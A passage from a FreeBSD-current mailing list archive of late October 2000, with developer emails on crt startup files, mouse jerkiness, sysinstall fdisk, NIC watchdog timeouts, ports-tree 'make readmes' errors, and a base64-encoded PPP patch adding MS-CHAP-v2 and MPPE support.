list, we should not turn this effort into a waste, else we might not be worth fighting for in the future. (note that Alpha and IA-64 versions of crt{i,n}.S are needed) * Switch from our own crt{begin,in} to those created from GCC's crtstuff.c. This will allow us to switch to DWARF2 exceptions in the future, along with staying in sync with any future GCC requirements. * Break out our ELF branding bits into a seperate file. Currently this is now included by our crt1.c files (since this functionality was part of our native crtbegin.c). Later crtbrand.o will be merged in the creation of crti.o. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 10:22:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (adsl-63-206-96-212.dsl.snfc21.pacbell.net [63.206.96.212]) by hub.freebsd.org (Postfix) with ESMTP id 29F8637B479 for ; Sun, 29 Oct 2000 10:22:34 -0800 (PST) Received: from grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.11.1/8.11.1) with ESMTP id e9TILRj35081; Sun, 29 Oct 2000 10:21:45 -0800 (PST) (envelope-from mark@grondar.za) Message-Id: <200010291821.e9TILRj35081@grimreaper.grondar.za> To: "Rogier R. Mulhuijzen" Cc: freebsd-current@freebsd.org Subject: Re: /dev/random related mouse jerkiness is again here References: <4.3.2.7.0.20001027193450.00b186c0@mail.drwilco.net> In-Reply-To: <4.3.2.7.0.20001027193450.00b186c0@mail.drwilco.net> ; from "Rogier R. Mulhuijzen" "Fri, 27 Oct 2000 19:36:53 +0200." Date: Sun, 29 Oct 2000 10:21:27 -0800 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I had mouse jerkiness at the same time as I had the sound glitches. Those > were explained as a result of SMPNG IRQ latency (IIRC). Could this be the > same problem? Yes. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 11:20:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id 3C35B37B4C5 for ; Sun, 29 Oct 2000 11:20:41 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id e9TJKUd18559 for ; Sun, 29 Oct 2000 12:20:30 -0700 (MST) Date: Sun, 29 Oct 2000 12:20:31 -0700 (MST) From: X-Sender: janb@gecko To: freebsd-current@freebsd.org Subject: /stand/sysinstall fdisk won't work Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After installing the latest version of the current source, /stand/sysinstall's fdisk will not find any devices. Can anybody tell me what I forgot to do? I did do the /dev/MAKEDEV all. JAn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 11:30:47 2000 Delivered-To: freebsd-current@freebsd.org Received: from webcom.it (unknown [213.205.4.2]) by hub.freebsd.org (Postfix) with SMTP id A146437B4C5 for ; Sun, 29 Oct 2000 11:30:43 -0800 (PST) Received: (qmail 10944 invoked by uid 1000); 30 Oct 2000 17:24:38 -0000 Message-ID: <20001030172438.10943.qmail@webcom.it> From: andrea@webcom.it Subject: * watchdog timeout (Was: dc0: watchdog timeout) In-Reply-To: <14844.16183.229740.388514@grasshopper.cs.duke.edu> "from Andrew Gallatin at Oct 29, 2000 10:22:22 am" To: freebsd-current@freebsd.org Date: Mon, 30 Oct 2000 18:24:38 +0100 (CET) Cc: Motomichi Matsuzaki , wpaul@freebsd.org X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Probably not related at all, but on -current I am seeing: xe0: watchdog timeout; resetting card It happens just once, at boot time or after I insert the PC Card (Compaq whatever). After that, everything works ok. Andrew Gallatin wrote: > > To follow up on this, after switching from a dc0 to an fxp0 I finally > managed to wedge my -current UP1000 with heavy CPU & NFS activity > (starting up the linux mozilla). It is now speweing 'fxp0: device > timeout' to the console (and inconveniently ignoring breaks on the > serial console). > > So it appears that it is not dc specific (though it > does seem to happen much more fequently 21143's) > > I guess its either alpha or SMPng specific.. > > Drew > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- The computer revolution is over. The computers won. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 11:41: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from hera.drwilco.net (10dyn196.dh.casema.net [212.64.31.196]) by hub.freebsd.org (Postfix) with ESMTP id B814237B479 for ; Sun, 29 Oct 2000 11:40:58 -0800 (PST) Received: from ceres.drwilco.nl (ceres.drwilco.net [10.1.1.19]) by hera.drwilco.net (8.11.1/8.9.3) with ESMTP id e9TJt9T26372 for ; Sun, 29 Oct 2000 20:55:22 +0100 (CET) (envelope-from drwilco@drwilco.nl) Message-Id: <4.3.2.7.0.20001029203813.00b3dad0@mail.drwilco.net> X-Sender: drwilco@mail.drwilco.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 29 Oct 2000 20:39:35 +0100 To: freebsd-current@freebsd.org From: "Rogier R. Mulhuijzen" Subject: Re: * watchdog timeout (Was: dc0: watchdog timeout) In-Reply-To: <20001030172438.10943.qmail@webcom.it> References: <14844.16183.229740.388514@grasshopper.cs.duke.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 18:24 30-10-00 +0100, you wrote: >Probably not related at all, but on -current I am seeing: > >xe0: watchdog timeout; resetting card > >It happens just once, at boot time or after I insert the PC Card (Compaq >whatever). After that, everything works ok. This is normal. It's bringing up the card when it's still not up. I agree this should be done earlier. I've been in that code before. I'll see if I can whip up a patch. DocWilco To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 12:45: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from webcom.it (unknown [213.205.4.2]) by hub.freebsd.org (Postfix) with SMTP id 617AB37B479 for ; Sun, 29 Oct 2000 12:45:01 -0800 (PST) Received: (qmail 36566 invoked by uid 1000); 29 Oct 2000 20:45:10 -0000 Delivered-To: andrea-unknown@webcom.it Received: (qmail 36547 invoked by alias); 29 Oct 2000 20:43:37 -0000 Delivered-To: freebsd-current@webcom.it Received: (qmail 36544 invoked by uid 1000); 29 Oct 2000 20:43:36 -0000 Message-ID: <20001029204336.36543.qmail@webcom.it> From: andrea@webcom.it Subject: Problems in ports with partial tree To: freebsd-current@webcom.it Date: Sun, 29 Oct 2000 21:43:36 +0100 (CET) X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! A few weeks ago I started using `refuse' files to avoid downloading ports I'm sure I'll never need (languages I can't speak, for instance). Since then, if I do anything recursive in the ports tree (a make readmes, for instance), problems occur. The biggest one is with make readmes. IF I run that from /usr/ports/www, where I `refuse' w3, I get: [...snip...] echo -n ''"`cd w3; make package-name | sed -e 's/&/\&/g' -e 's/>/\>/g' -e 's/: " >> README.html.tmp cd: can't cd to w3 cat `cd w3; make -V COMMENT` | sed -e 's/&/\&/g' -e 's/>/\>/g' -e 's/> README.html.tmp cd: can't cd to w3 [...snip...] The problem seems to be here: cat `cd w3; make -V COMMENT` | sed -e 's/&/\&/g' -e 's/>/\>/g' -e 's/> README.html.tmp That's because the make gets executed in /usr/ports/www. Couldn't we put an if [ -d w3 ] in front of any statement which could recurse? In fact, I noticed a check for PORTSTOP, but I can't understand its use, nor find any documentation for the various files in Mk. Anbybody can provide any pointers into this? TIA, bye, Andrea -- Give a man a fish and you feed him for a day; teach him to use the Net and he won't bother you for weeks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 12:50:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id 4F66837B479; Sun, 29 Oct 2000 12:47:51 -0800 (PST) Received: from localhost (semen@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id CAA58852; Mon, 30 Oct 2000 02:47:24 +0600 (NS) (envelope-from semen@iclub.nsu.ru) Date: Mon, 30 Oct 2000 02:47:23 +0600 (NS) From: Ustimenko Semen To: Brian Somers Cc: hackers@FreeBSD.org, current@FreeBSD.org Subject: PPP patch (CHAP81 + MPPE) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1343872478-972852443=:58714" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1343872478-972852443=:58714 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi! Here is a patch attached (made from current from 20000813). Patch makes ppp able to respond and initiate MS-CHAP-v2 authentication and supports MPPE encryption protocol. With all these ppp can participate in MS VPN. Please look at this, and tell me what you think? Bye! --0-1343872478-972852443=:58714 Content-Type: APPLICATION/octet-stream; name="ppp-mppe-patch.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="ppp-mppe-patch.gz" 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 